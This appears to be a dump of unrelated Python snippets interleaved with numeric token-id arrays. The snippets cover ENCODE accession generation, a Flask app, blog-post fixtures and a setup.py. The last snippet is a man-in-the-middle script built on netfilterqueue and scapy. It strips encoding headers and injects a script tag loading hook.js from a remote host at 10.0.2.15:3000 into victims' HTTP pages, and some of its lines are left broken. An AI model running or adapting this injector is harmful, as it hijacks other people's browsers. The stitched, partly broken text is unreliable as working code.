from datetime import datetime from jsonschema_serialize_fork import NO_DEFAULT from pyramid.security import effective_principals from pyramid.threadlocal import get_current_request from string import ( digits, ascii_uppercase, ) import random import uuid from snovault.schema_utils import server_default ACCESSION_FACTORY = __name__ + ':accession_factory' ENC_ACCESSION_FORMAT = (digits, digits, digits, ascii_uppercase, ascii_uppercase, ascii_uppercase) TEST_ACCESSION_FORMAT = (digits, ) * 6 def test_accession(accession_type): """ Test accessions are generated on test.encodedcc.org """ random_part = ''.join(random.choice(s) for s in TEST_ACCESSION_FORMAT) return 'D' + accession_type + random_part
[ 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 44804, 684, 2395, 2611, 62, 46911, 1096, 62, 32523, 1330, 8005, 62, 7206, 38865, 198, 6738, 27944, 13, 12961, 1330, 4050, 62, 1050, 1939, 541, 874, 198, 6738, 27944, 13, 16663, 12001, 1330,...
2.825758
264
from flask import Flask #from config import Config import config app = Flask(__name__) #app.config.from_object(Config) app.config.from_object(config) #from app import routes from app import gettoken
[ 6738, 42903, 1330, 46947, 198, 2, 6738, 4566, 1330, 17056, 198, 11748, 4566, 198, 198, 1324, 796, 46947, 7, 834, 3672, 834, 8, 198, 2, 1324, 13, 11250, 13, 6738, 62, 15252, 7, 16934, 8, 198, 1324, 13, 11250, 13, 6738, 62, 15252, 7...
3.389831
59
"""Todo module."""
[ 37811, 51, 24313, 8265, 526, 15931, 198 ]
2.714286
7
#!/usr/bin/python3.7 ######################################################################################## # pvt_collector/pipe.py - Represents a pipe within the system. # # Author: Ben Winchester # Copyright: Ben Winchester, 2021 ######################################################################################## """ The pipe module for the PV-T model. This module represents a pipe within the PV-T system. """ from dataclasses import dataclass __all__ = ("Pipe",)
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 13, 22, 198, 29113, 29113, 14468, 7804, 198, 2, 279, 36540, 62, 33327, 273, 14, 34360, 13, 9078, 532, 1432, 6629, 257, 12656, 1626, 262, 1080, 13, 198, 2, 198, 2, 6434, 25, 3932, 40868, 19...
4.412844
109
import unittest import os import json import requests import requests_mock from ioapi import api_url, IOService, AuthorizationError, UnexpectedResponseCodeError
[ 11748, 555, 715, 395, 198, 11748, 28686, 198, 11748, 33918, 198, 11748, 7007, 198, 11748, 7007, 62, 76, 735, 198, 6738, 33245, 15042, 1330, 40391, 62, 6371, 11, 314, 2640, 712, 501, 11, 35263, 12331, 11, 471, 42072, 31077, 10669, 12331,...
3.857143
42
''' fake posts to bootstrap a development database. Put any interesting cases useful for development in here. ''' from datetime import datetime POST_DATA_1 = [ { "created" : datetime(2015, 10, 1), "published": datetime(2015, 10, 1), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "First Post", "slug": "", "text": "a bunch of words #foo #bar", "tags": [], "type": "Post" }, { "created" : datetime(2015, 10, 2), "published": datetime(2015, 10, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": False, "status": "published", "title": "Second Post", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 10, 2), "published": datetime(2015, 10, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": False, "status": "draft", "title": "Third Post", "slug": "", "text": "This is a #draft #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 10, 2), "published": datetime(2015, 10, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "draft", "title": "Fourth Post", "slug": "", "text": "This is a #draft #post", "tags": [], "type": "Post" }, ] POST_DATA_2 = [ { "created" : datetime(2015, 3, 2), "published": datetime(2015, 3, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 1", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 4, 2), "published": datetime(2015, 4, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 2", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 5, 2), "published": datetime(2015, 5, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 3", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 5, 2), "published": datetime(2015, 5, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 4", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 6, 2), "published": datetime(2015, 6, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 5", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 6, 2), "published": datetime(2015, 6, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 6", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 6, 2), "published": datetime(2015, 6, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 7", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 7, 2), "published": datetime(2015, 7, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 8", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 8, 2), "published": datetime(2015, 8, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 9", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 9, 2), "published": datetime(2015, 9, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 10", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, { "created" : datetime(2015, 10, 2), "published": datetime(2015, 10, 2), "edited": datetime(2015, 10, 1), "rendered": None, "author": "bgporter", "public": True, "status": "published", "title": "Post 11", "slug": "", "text": "This is a #secret #post", "tags": [], "type": "Post" }, ]
[ 7061, 6, 198, 220, 220, 8390, 6851, 284, 6297, 26418, 257, 2478, 6831, 13, 5930, 597, 3499, 2663, 220, 198, 220, 220, 4465, 329, 2478, 287, 994, 13, 220, 198, 7061, 6, 198, 198, 6738, 4818, 8079, 1330, 4818, 8079, 628, 198, 32782, ...
1.785969
3,649
from __future__ import absolute_import from django.shortcuts import render import simplejson import datetime from django.http import HttpResponse
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 198, 11748, 2829, 17752, 198, 11748, 4818, 8079, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 628, 628, 198 ]
3.947368
38
import math import warnings import numpy as np import pandas as pd from scipy.optimize import minimize import scipy.stats from scipy.stats import norm # edit from scipy.special import log_ndtr from sklearn.linear_model import LinearRegression from sklearn.metrics import mean_squared_error, mean_absolute_error
[ 11748, 10688, 198, 11748, 14601, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 629, 541, 88, 13, 40085, 1096, 1330, 17775, 198, 11748, 629, 541, 88, 13, 34242, 198, 6738, 629, 541, 88, 13, ...
3.387097
93
# -*- coding: utf-8 -*- import setuptools with open(r'README.md', r'r', encoding="utf8") as stream: long_description = stream.read() setuptools.setup( name=r'hagworm', version=r'3.0.0', license=r'Apache License Version 2.0', platforms=[r'all'], author=r'Shaobo.Wang', author_email=r'wsb310@gmail.com', description=r'Network Development Suite', long_description=long_description, long_description_content_type=r'text/markdown', url=r'https://github.com/wsb310/hagworm', packages=setuptools.find_packages(), package_data={r'hagworm': [r'static/*.*']}, python_requires=r'>= 3.7', install_requires=[ r'aioftp==0.13.0', r'aiohttp==3.5.4', r'aiokafka==0.5.2', r'aiomysql==0.0.20', r'aioredis==1.2.0', r'cacheout==0.11.1', r'crontab==0.22.6', r'cryptography==2.7.0', r'hiredis==1.0.0', r'Jinja2==2.10.1', r'tornado-jinja2==0.2.4', r'loguru==0.3.0', r'motor==2.0.0', r'mq_http_sdk==1.0.1', r'objgraph==3.4.1', r'Pillow==6.1.0', r'psutil==5.6.3', r'PyJWT==1.7.1', r'pytest==5.0.1', r'pytest-asyncio==0.10.0', r'Sphinx==2.1.2', r'SQLAlchemy==1.3.5', r'tornado==6.0.3', r'xlwt==1.3.0', r'xmltodict==0.12.0', ], classifiers=[ r'Programming Language :: Python :: 3.7', r'License :: OSI Approved :: Apache Software License', r'Operating System :: POSIX :: Linux', ], )
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 11748, 900, 37623, 10141, 198, 198, 4480, 1280, 7, 81, 6, 15675, 11682, 13, 9132, 3256, 374, 6, 81, 3256, 21004, 2625, 40477, 23, 4943, 355, 4269, 25, 198, 220, ...
1.806977
860
""" Simple IoC containers that provide direct access to various Keras providers """
[ 37811, 198, 26437, 27853, 34, 16472, 326, 2148, 1277, 1895, 284, 2972, 17337, 292, 9549, 198, 37811, 628, 628, 198 ]
4.4
20
#!/usr/bin/env python import netfilterqueue import scapy.all as scapy import re def process_packet(packet): """Modify downloads files on the fly while target uses HTTP/HTTPS. Do not forget to choose the port you will use on line 23 and 28 and uncomment them.""" scapy_packet = scapy.IP (packet.get_payload()) if scapy_packet.haslayer(scapy.Raw): #try: #.decode() in load load = scapy_packet[scapy.Raw].load if scapy_packet[scapy.TCP].dport == #CHOOSE PORT HERE: 80 / 10000: print("HTTPS Request") # print(scapy_packet.show()) load = re.sub("Accept-Encoding:.*?\\r\\n", "", load) elif scapy_packet[scapy.TCP].sport == #CHOOSE PORT HERE: 80 / 10000: print("HTTPS Response") #print(scapy_packet.show()) injection_code = '<script src="http://10.0.2.15:3000/hook.js"></script>' load = load.replace("</body>", injection_code + "</body>") content_length_search = re.search("(?:Content-Length:\s)(\d*)", load) if content_length_search and "text/html" in load: content_length = content_length_search.group(1) new_content_length = int(content_length) + len(injection_code) load = load.replace(content_length, str(new_content_length)) if load != scapy_packet[scapy.Raw].load: new_packet = set_load(scapy_packet, load) packet.set_payload(str(new_packet)) #except UnicodeDecodeError: # pass packet.accept() queue = netfilterqueue.NetfilterQueue() queue.bind(0, process_packet) queue.run()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 2010, 24455, 36560, 198, 11748, 629, 12826, 13, 439, 355, 629, 12826, 198, 11748, 302, 628, 198, 4299, 1429, 62, 8002, 316, 7, 8002, 316, 2599, 198, 220, 220, 220, 37227, ...
2.193717
764